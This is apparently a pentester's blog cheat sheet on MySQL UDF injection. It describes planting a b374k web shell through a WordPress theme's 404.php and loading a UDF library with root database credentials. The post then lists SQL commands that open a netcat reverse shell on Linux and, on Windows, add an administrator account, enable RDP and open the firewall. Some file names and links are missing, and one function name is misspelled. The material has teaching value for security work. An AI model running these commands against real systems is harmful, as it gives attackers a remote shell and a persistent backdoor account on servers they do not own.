MySQL UDF Injection


While performing a web application penetration testing, at times you are able to find out the web application is running MySQL database through  “root” credentials. This is one of the biggest NO of security. In this case we can get a root shell on the machine with just a few commands. Here comes my second cheat sheet so that i do not forget this any more.

Web Shell MySQL


I have gained access to a wordpress site, upon looking up wp-config.php file i notice that database is running through root user.

  1. I was able to upload a web shell through wordpress template editor, my favorite 404.php is the place to upload all my web shells.
  2. b374k is one of the best shells i have used while performing web application penetration testing, it has a stable mysql connectivity shell which is why i am use and other then other features. It can be download from
  3. We need to download library files according to our target system (Windows or Linux) with (32/64)bit architecture which can be downloaded from
  4. b374k web shell allows me to upload files in directories i have permission to write on, ill use the following directories to upload required DLL, So file previously downloaded.
  5. After using the shell uploading the desired library on the server we can use the mysql connect feature to connect with the credentials previously found and run the following command.

    Getting a netcat reverse shell on linux using UDF Injection
    use mysql;
    CREATE TABLE root(line blob);INSERT INTO root values(load_file(‘/tmp/’));

    SELECT * FROM root into dumpfile ‘/usr/lib/’;

    CREATE FUNCTION sys_exec RETURNS integer SONAME ‘’;

    SELECT sys_exec(“nc 3128 -e /bin/bash”);

    Please see :

    Adding a RDP user and enabling firewall using UDF Injection for Windows

    USE mysql;

    CREATE TABLE root (line blob);

    INSERT INTO root values(load_files(‘C://windows//tmp//lib_mysqludf_sys.dll’));

    SELECT * FROM mysql.root INTO DUMPFILE ‘c://windows//system32//lib_mysqludf_sys_32.dll’;

    CREATE FUNCTION sys_exec RETURNS integer SONAME ‘lib_mysqludf_sys_32.dll’;

    SELECT sys_exec(“net user SecurityPentester [email protected] /add”);

    SELECT sys_exec(“net localgroup Administrators SecurityPentester /add”);

    SELECT sys_exec(“reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t REG_DWORD /d 0 /f”);

    SELECT sys_exec(“reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /f”);

    SELECT sys_exec(“netsh advfirewall firewall set rule group=”remote desktop” new enable=Yes”);
    Please see :